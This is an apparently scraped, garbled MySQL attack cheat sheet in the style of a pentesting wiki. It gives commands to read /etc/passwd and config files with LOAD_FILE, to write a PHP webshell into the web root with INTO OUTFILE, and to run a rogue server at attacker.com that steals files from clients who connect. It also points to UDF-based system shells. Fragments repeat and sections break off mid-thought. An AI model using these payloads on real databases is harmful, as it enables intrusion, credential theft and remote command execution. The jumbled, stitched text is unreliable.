Mysql Hacktricks Direct

-- All databases SELECT schema_name FROM information_schema.schemata;

-- Disable local_infile SET GLOBAL local_infile = 0; mysql hacktricks

-- Find writable directories SHOW VARIABLES LIKE 'secure_file_priv'; -- NULL = no file ops, "" = any dir SHOW VARIABLES LIKE 'datadir'; SHOW VARIABLES LIKE 'plugin_dir'; -- All databases SELECT schema_name FROM information_schema

-- Check for dangerous functions SELECT * FROM mysql.func; -- user-defined functions (UDF) 👑 UDF (User Defined Functions) – SYSTEM shell If secure_file_priv allows writes to plugin dir: -- NULL = no file ops

-- Read sensitive files SELECT LOAD_FILE('/etc/passwd'); SELECT LOAD_FILE('/var/www/html/config.php'); -- Write webshell (needs secure_file_priv = "") SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE "/var/www/html/shell.php"; Once logged in, gather intel:

# Malicious server that reads client files python mysql_file_read_server.py Victim connects: mysql -h attacker.com -u root -p → You steal /etc/passwd Try: mysql --enable-local-infile -h target -u user -p 7. Post-Exploitation: OS Shell via MySQL If you can run OS commands (UDF or SQLi with file write):